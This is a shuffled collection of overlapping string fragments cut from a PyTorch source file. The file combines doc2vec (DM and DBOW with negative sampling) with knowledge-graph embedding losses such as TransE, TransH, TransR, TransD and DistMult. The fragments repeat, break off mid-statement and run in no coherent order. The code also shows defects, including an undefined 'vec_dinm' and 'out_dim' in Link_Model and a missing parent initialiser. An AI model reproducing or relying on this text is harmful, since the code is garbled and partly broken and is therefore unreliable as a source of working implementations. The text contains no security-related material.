"------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # sparse computation of",
"distribution. Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # combine",
"* norm2 def projection_transD(original, norm): return original + torch.sum(original * norm, dim=1, keepdim=True)",
"tj_emb) ** 2, 1) elif self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb),",
"of the loss function. Parameters ---------- scores: autograd.Variable of size (batch_size, num_noise_words +",
"sampling loss as proposed by <NAME> al. in Distributed Representations of Words and",
"tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb",
"projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb - ti_emb)",
"(unnormalized log probabilities) # for negative sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0,",
"F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1)",
"w_ri_emb - ti_emb) ** 2, 1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb)",
"torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class",
"ti_emb = torch.einsum('ij, ijk -> ik', ti_emb, M_R) tj_emb = torch.einsum('ij, ijk ->",
"torch.Tensor of size (batch_size,) Tails from noisy triplets from relational graph Returns -------",
"d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda'))",
"return original - torch.sum(original * norm, dim=1, keepdim=True) * norm def projection_DistMult(original, norm1,",
"Heads from golden triplets from relational graph ti: torch.Tensor of size (batch_size,) Tails",
"M_R) ti_emb = torch.einsum('ij, ijk -> ik', ti_emb, M_R) tj_emb = torch.einsum('ij, ijk",
"def projection_transD(original, norm): return original + torch.sum(original * norm, dim=1, keepdim=True) * norm",
"norm2 def projection_transD(original, norm): return original + torch.sum(original * norm, dim=1, keepdim=True) *",
"ti, ri): with torch.no_grad(): _, _, _, _, pos, _ = self.kg_model(_, _,",
"torch.sum(original * norm, dim=1, keepdim=True) * norm def projection_DistMult(original, norm1, norm2): return torch.sum(original",
"kg_loss, d2v_output, pos, neg def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed",
"nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data,",
"scores.size()[0] except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__()",
"target and noise words. The first element in each row is the ground",
"tj_emb) ** 2, 1) if self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids)",
"learned (for paragraphs and words). num_docs: int Number of documents in a dataset.",
"and their Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self,",
"<reponame>DSRnD/UMLs import torch import torch.nn as nn import torch.nn.functional as F import random",
"_, hi, ti, ri, _) out = self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec",
"ValueError(\"Both D2V and KG model can not be none\") return total_loss, d2v_loss, kg_loss,",
"_, pos, _ = self.kg_model(_, _, _, hi, ti, ri, _) out =",
"model can not be none\") return total_loss, d2v_loss, kg_loss, d2v_output, pos, neg def",
"torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss +",
"words. The first element in each row is the ground truth index (i.e.",
"= margin self.delta = delta self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver",
"torch.sum(self._W[context_ids, :], dim=1)) # sparse computation of scores (unnormalized log probabilities) # for",
"passed to the negative sampling loss. Parameters ---------- doc_ids: torch.Tensor of size (batch_size,)",
"scores (unnormalized log probabilities) # for negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:,",
"normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids, hi, ti, ri, tj):",
"input (context) words x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) # sparse",
"is the ground truth index (i.e. the target), other elements are indices of",
"from relational graph ti: torch.Tensor of size (batch_size,) Tails from golden triplets from",
"import torch import torch.nn as nn import torch.nn.functional as F import random import",
"except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def",
"kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and self.kg_model_ver != 'none': total_loss =",
"#self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self, hi,",
"Representations of Words and Phrases and their Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__()",
"from the noise distribution. \"\"\" try: k = scores.size()[1] - 1 return -torch.sum(",
"torch.Tensor of size (batch_size, num_noise_words + 1) Vocabulary indices of target and noise",
"size (batch_size,) Relations from golden triplets from relational graph tj: torch.Tensor of size",
"hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj",
"samples from the noise distribution. \"\"\" try: k = scores.size()[1] - 1 return",
"torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print (pos.shape, neg.shape) kg_loss =",
"= nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim,",
"as F import random import numpy as np import torch.autograd as autograd class",
"else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and self.kg_model_ver != 'none': total_loss",
"num_words) else: self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss()",
"self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output",
"= num_docs self.margin = margin self.delta = delta self.kg_model_ver = kg_model_ver self.d2v_model_ver =",
"normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data =",
"vec_dim: int Dimensionality of vectors to be learned (for paragraphs and words). num_docs:",
"indices of samples from the noise distribution. Returns ------- autograd.Variable of size (batch_size,",
"#print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin) else: kg_loss = torch.FloatTensor([0]) if",
"# sparse computation of scores (unnormalized log probabilities) # for negative sampling return",
"words. doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor of",
"raise ValueError(\"Both D2V and KG model can not be none\") return total_loss, d2v_loss,",
"F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data =",
"* norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self, kg_model): self.vec_dim = vec_dinm",
"= normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids,",
"self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0])",
"= vec_dinm self.out_dim = out_dim self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear",
"self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids, hi, ti,",
"be passed to the negative sampling loss. Parameters ---------- context_ids: torch.Tensor of size",
"d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos,",
"scores (unnormalized log probabilities) # for negative sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1,",
"autograd.Variable of size (batch_size, num_noise_words + 1) Sparse unnormalized log probabilities. The first",
"autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb =",
"(i.e. the target), other elements are scores of samples from the noise distribution.",
"def __init__(self): super(marginLoss, self).__init__() def forward(self, pos, neg, margin): val = pos -",
"relational graph Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" hi_emb",
"norm1, dim=1, keepdim=True) * norm2 def projection_transD(original, norm): return original + torch.sum(original *",
"2, 1) if self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss =",
":].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of Words version of Paragraph Vectors. Parameters ----------",
"self.out_dim = out_dim self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1,",
"a daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__()",
"= self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if",
"w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): #",
"Parameters ---------- vec_dim: int Dimensionality of vectors to be learned (for paragraphs and",
"(unnormalized log probabilities) that should be passed to the negative sampling loss. Parameters",
"elif self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb",
"of size (batch_size, num_noise_words + 1) \"\"\" # sparse computation of scores (unnormalized",
"= F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data",
"self.margin) else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and self.kg_model_ver != 'none':",
"Document indices of paragraphs. target_noise_ids: torch.Tensor of size (batch_size, num_noise_words + 1) Vocabulary",
"torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist()",
"projection_DistMult(original, norm1, norm2): return torch.sum(original * norm1, dim=1, keepdim=True) * norm2 def projection_transD(original,",
"projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb",
"'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1)",
"neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin) else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver !=",
"torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'distmult': pos",
"1) elif self.kg_model_ver == 'transe': pos = torch.sum((hi_emb + w_ri_emb - ti_emb) **",
"def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the value",
"'none': total_loss = kg_loss else: raise ValueError(\"Both D2V and KG model can not",
":].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version of Paragraph Vectors. Parameters ---------- vec_dim: int",
"k ) / scores.size()[0] except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def",
"word vectors of # input (context) words x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids,",
"d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print (pos.shape, neg.shape)",
"self.d2v._D[tj,:] pos = None neg = None if self.kg_model_ver == 'transh': pos_h_e =",
"each row is the ground truth score (i.e. the target), other elements are",
"* norm, dim=1, keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self,",
"ik', hi_emb, M_R) ti_emb = torch.einsum('ij, ijk -> ik', ti_emb, M_R) tj_emb =",
"p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data",
"from relational graph tj: torch.Tensor of size (batch_size,) Tails from noisy triplets from",
"'transr': M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk -> ik', hi_emb, M_R) ti_emb",
"total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss = d2v_loss elif",
"word matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output layer parameters self._O",
"------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # combine a paragraph",
"be passed to the negative sampling loss. Parameters ---------- doc_ids: torch.Tensor of size",
"first element in each row is the ground truth index (i.e. the target),",
"d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss",
"normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb",
"and Phrases and their Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid()",
"= projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos =",
"+ w_ri_emb - neg_t_e) ** 2, 1) elif self.kg_model_ver == 'transe': pos =",
"import torch.nn.functional as F import random import numpy as np import torch.autograd as",
"self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb =",
"1) if self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output)",
"num_docs, num_words) else: self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn =",
"first element in each row is the ground truth score (i.e. the target),",
"neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) if self.d2v_model_ver !=",
"neg def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version of",
"torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver ==",
"torch.Tensor of size (batch_size,) Tails from golden triplets from relational graph ri: torch.Tensor",
"1) neg = torch.sum((neg_h_e + w_ri_emb - neg_t_e) ** 2, 1) elif self.kg_model_ver",
"self).__init__() def forward(self, pos, neg, margin): val = pos - neg + margin",
"elif self.kg_model_ver == 'transr': M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk -> ik',",
"= random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos",
"num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin =",
"computation of scores (unnormalized log probabilities) # for negative sampling return torch.bmm( x.unsqueeze(1),",
"-torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def forward(self, pos, neg, margin): val",
"of scores (unnormalized log probabilities) # for negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1),",
"requires_grad=True) def forward(self, hi, ti, ri): with torch.no_grad(): _, _, _, _, pos,",
"self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True)",
"from noisy triplets from relational graph Returns ------- autograd.Variable of size (batch_size, num_noise_words",
"the noise distribution. hi: torch.Tensor of size (batch_size,) Heads from golden triplets from",
"\"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the",
"kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin = margin self.delta =",
"+ 1) \"\"\" # combine a paragraph vector with word vectors of #",
"np import torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed by",
"torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed by <NAME> al.",
"def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of scores (unnormalized log probabilities) that",
"num_words): super(DBOW, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) #",
"return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k ) / scores.size()[0]",
"target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse computation of scores (unnormalized log probabilities) that",
"and self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver != 'none':",
"num_noise_words + 1) Vocabulary indices of target and noise words. The first element",
"self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb,",
"-torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k ) / scores.size()[0] except:",
"original + torch.sum(original * norm, dim=1, keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link prediction",
"= torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) if self.d2v_model_ver != 'none':",
"num_noise_words + 1) Sparse unnormalized log probabilities. The first element in each row",
"w_ri_emb - neg_t_e) ** 2, 1) elif self.kg_model_ver == 'transe': pos = torch.sum((hi_emb",
"out = self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss \"\"\"",
"w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb +",
"and KG model can not be none\") return total_loss, d2v_loss, kg_loss, d2v_output, pos,",
"dim=1, keepdim=True) * norm2 def projection_transD(original, norm): return original + torch.sum(original * norm,",
"(batch_size, num_noise_words + 1) Vocabulary indices of target and noise words. The first",
"log probabilities) that should be passed to the negative sampling loss. Parameters ----------",
"norm): return original - torch.sum(original * norm, dim=1, keepdim=True) * norm def projection_DistMult(original,",
"vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs = num_docs",
"k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def forward(self,",
"= nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of",
"get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version of Paragraph Vectors.",
"if self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else:",
"/ k ) / scores.size()[0] except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module):",
"of paragraphs. target_noise_ids: torch.Tensor of size (batch_size, num_noise_words + 1) Vocabulary indices of",
"in Distributed Representations of Words and Phrases and their Compositionality. \"\"\" def __init__(self):",
"__init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim = out_dim self.kg_model = kg_model #self.linear1 =",
"ri: torch.Tensor of size (batch_size,) Relations from golden triplets from relational graph tj:",
"random import numpy as np import torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling",
"margin, delta): super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin = margin self.delta = delta",
"self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R =",
"elif self.kg_model_ver == 'transe': pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2,",
"M_R) tj_emb = torch.einsum('ij, ijk -> ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2,",
"log probabilities) # for negative sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze()",
"self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of Words version of Paragraph Vectors. Parameters",
"size (batch_size, num_noise_words + 1) \"\"\" # sparse computation of scores (unnormalized log",
"\"\"\" try: k = scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:,",
"\"\"\" # combine a paragraph vector with word vectors of # input (context)",
"in a dataset. num_words: int Number of distinct words in a daset (i.e.",
"norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim",
"prediction model\"\"\" def __init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim = out_dim self.kg_model =",
"+ w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'transd': hi_emb =",
"= normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse computation",
"2, 1) elif self.kg_model_ver == 'transe': pos = torch.sum((hi_emb + w_ri_emb - ti_emb)",
"= None if self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb,",
"self.d2v = DM(vec_dim, num_docs, num_words) else: self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func =",
"probabilities) # for negative sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def",
"paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix self._W =",
"neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb",
"self.kg_model_ver == 'transr': M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk -> ik', hi_emb,",
"requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of scores (unnormalized log probabilities)",
"+ 1) Vocabulary indices of target and noise words. The first element in",
"return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist()",
"= nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self, hi, ti,",
"self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss \"\"\" def __init__(self,",
"'transe': pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg =",
"self.kg_model_ver != 'none': total_loss = kg_loss else: raise ValueError(\"Both D2V and KG model",
"scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k",
"vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__() # paragraph matrix",
"normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data,",
"elements are indices of samples from the noise distribution. Returns ------- autograd.Variable of",
"return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return original - torch.sum(original * norm, dim=1,",
"- neg_t_e) ** 2, 1) elif self.kg_model_ver == 'transe': pos = torch.sum((hi_emb +",
"!= 'none': total_loss = d2v_loss elif self.kg_model_ver != 'none': total_loss = kg_loss else:",
"of size (batch_size,) Tails from noisy triplets from relational graph Returns ------- autograd.Variable",
"+ w_ri_emb - pos_t_e) ** 2, 1) neg = torch.sum((neg_h_e + w_ri_emb -",
"w_ri_emb - pos_t_e) ** 2, 1) neg = torch.sum((neg_h_e + w_ri_emb - neg_t_e)",
"---------- scores: autograd.Variable of size (batch_size, num_noise_words + 1) Sparse unnormalized log probabilities.",
"nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of scores",
"sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return",
"with transh loss \"\"\" def __init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin,",
"torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) if self.d2v_model_ver != 'none': d2v_output",
"torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor of size (batch_size,",
"of size (batch_size, num_noise_words + 1) \"\"\" # combine a paragraph vector with",
"def forward(self, scores): \"\"\"Computes the value of the loss function. Parameters ---------- scores:",
"function. Parameters ---------- scores: autograd.Variable of size (batch_size, num_noise_words + 1) Sparse unnormalized",
"normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids, hi,",
"that should be passed to the negative sampling loss. Parameters ---------- context_ids: torch.Tensor",
"ti: torch.Tensor of size (batch_size,) Tails from golden triplets from relational graph ri:",
"import torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed by <NAME>",
"size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor of size (batch_size, num_noise_words +",
"tj: torch.Tensor of size (batch_size,) Tails from noisy triplets from relational graph Returns",
"p=2, dim=1) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg",
"version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors to be",
"index): return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of Words version of Paragraph",
"1) \"\"\" # combine a paragraph vector with word vectors of # input",
"_, _, _, _, pos, _ = self.kg_model(_, _, _, hi, ti, ri,",
"Vocabulary indices of context words. doc_ids: torch.Tensor of size (batch_size,) Document indices of",
"return original + torch.sum(original * norm, dim=1, keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link",
"marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def forward(self, pos, neg, margin): val = pos",
"Dimensionality of vectors to be learned (for paragraphs and words). num_docs: int Number",
"neg, self.margin) else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and self.kg_model_ver !=",
"\"\"\"Distributed Bag of Words version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality",
"matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output layer parameters self._O =",
"probabilities) # for negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze()",
"- neg + margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return original -",
"should be passed to the negative sampling loss. Parameters ---------- doc_ids: torch.Tensor of",
"other elements are scores of samples from the noise distribution. \"\"\" try: k",
"_ = self.kg_model(_, _, _, hi, ti, ri, _) out = self.linear(pos) return",
"from relational graph Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\"",
"'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb)",
"noise distribution. \"\"\" try: k = scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:, 0])",
"that should be passed to the negative sampling loss. Parameters ---------- doc_ids: torch.Tensor",
"* norm, dim=1, keepdim=True) * norm def projection_DistMult(original, norm1, norm2): return torch.sum(original *",
"DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel,",
"= delta self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver == 'dm': self.d2v",
"class DBOW(nn.Module): \"\"\"Distributed Bag of Words version of Paragraph Vectors. Parameters ---------- vec_dim:",
"the target), other elements are indices of samples from the noise distribution. Returns",
"= self.d2v._D[tj,:] pos = None neg = None if self.kg_model_ver == 'transh': pos_h_e",
"self.kg_model(_, _, _, hi, ti, ri, _) out = self.linear(pos) return out class",
"val = pos - neg + margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm):",
"delta self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver == 'dm': self.d2v =",
